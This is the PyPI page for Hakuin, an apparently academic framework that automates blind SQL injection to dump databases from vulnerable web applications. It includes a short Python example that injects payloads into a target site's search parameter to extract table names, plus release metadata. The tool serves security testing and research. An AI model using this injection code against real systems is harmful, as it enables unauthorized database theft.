Skip to main content

Hakuin is a Blind SQL Injection (BSQLI) optimization and automation framework written in Python 3. It abstracts away the extraction logic and allows users to easily and efficiently dump databases from vulnerable web applications. To speed up the process, Hakuin utilizes a variety of optimization methods, including pre-trained and adaptive language models, opportunistic guessing, statistical modeling, parallelism, ternary queries, and more.

Hakuin has been presented at esteemed academic and industrial conferences:

More information can be found in our paper and slides.

Installation

To install Hakuin, simply run:

pip3 install hakuin

Command Line Tool

Hakuin ships with an intuitive tool that offers most of Hakuin's features directly from the command line:

hk -h

Custom Scripting

Sometimes, BSQLI vulnerabilities are too tricky to exploit from the command line and require custom scripting. This is where Hakuin shines, allowing you to customize absolutely everything - the injection logic, the inference logic, and even the queries.

Here is a minimal example:

import asyncio
import aiohttp
from hakuin import Extractor, Requester

class SimpleRequester(Requester):
    async def request(self, query, ctx):
        payload = query.render(ctx)
        url = f'http://target.com/users?search=XXX" OR ({payload})--'
        async with aiohttp.request('GET', url) as resp:
            return resp.status == 200

async def main():
    requester = SimpleRequester():
    ext = Extractor(requester=requester, dbms='sqlite')
    data = await ext.extract_table_names()
    print(data)

asyncio.run(main())

Make sure to go through our tutorial.

For Researchers

This repository is actively developed to fit the needs of security practitioners. Researchers looking to reproduce the experiments described in our paper should install the frozen version as it contains the original code, experiment scripts, and an instruction manual for reproducing the results.

Cite Hakuin

@inproceedings{hakuin_bsqli,
  title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
  author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
  booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
  pages={384--393},
  year={2023},
  organization={IEEE}
}

Metadata

Release files for hakuin 0.2.2

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for hakuin 0.2.2
File Size Uploaded Provenance
hakuin-0.2.2.tar.gz 17.7 MB Without provenance Details

Built distribution (wheel)

Table of built distributions (wheels) for hakuin 0.2.2
File Interpreter ABI Platform
hakuin-0.2.2-py3-none-any.whl Python 3 none any Details

Total release size: 22.9 MB

Release files / hakuin-0.2.2.tar.gz

Download URL hakuin-0.2.2.tar.gz
Size 17.7 MB
Tags Source
SHA-256 checksum
How to use checksums
d502a3186561e76a6cb0cd1a6f289152c5e73cf64842e565dbe9de4c2c9c4ea8
BLAKE2b-256 checksum
How to use checksums
4461e9759e00a65d453e840491c32c7537db49cd9821f4d8e3f646b426eb7602
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/5.1.1 CPython/3.10.12

Release files / hakuin-0.2.2-py3-none-any.whl

Download URL hakuin-0.2.2-py3-none-any.whl
Size 5.2 MB
Tags Python 3
SHA-256 checksum
How to use checksums
55ff4e325469c37717bc0f187d42077c6141b7aedce247fec3ad8bd8b424d175
BLAKE2b-256 checksum
How to use checksums
364911243ea04354ad7eb32dff3699e553f5f7e094bd027883d3d52f1c1cd798
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/5.1.1 CPython/3.10.12

Security for hakuin 0.2.2

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page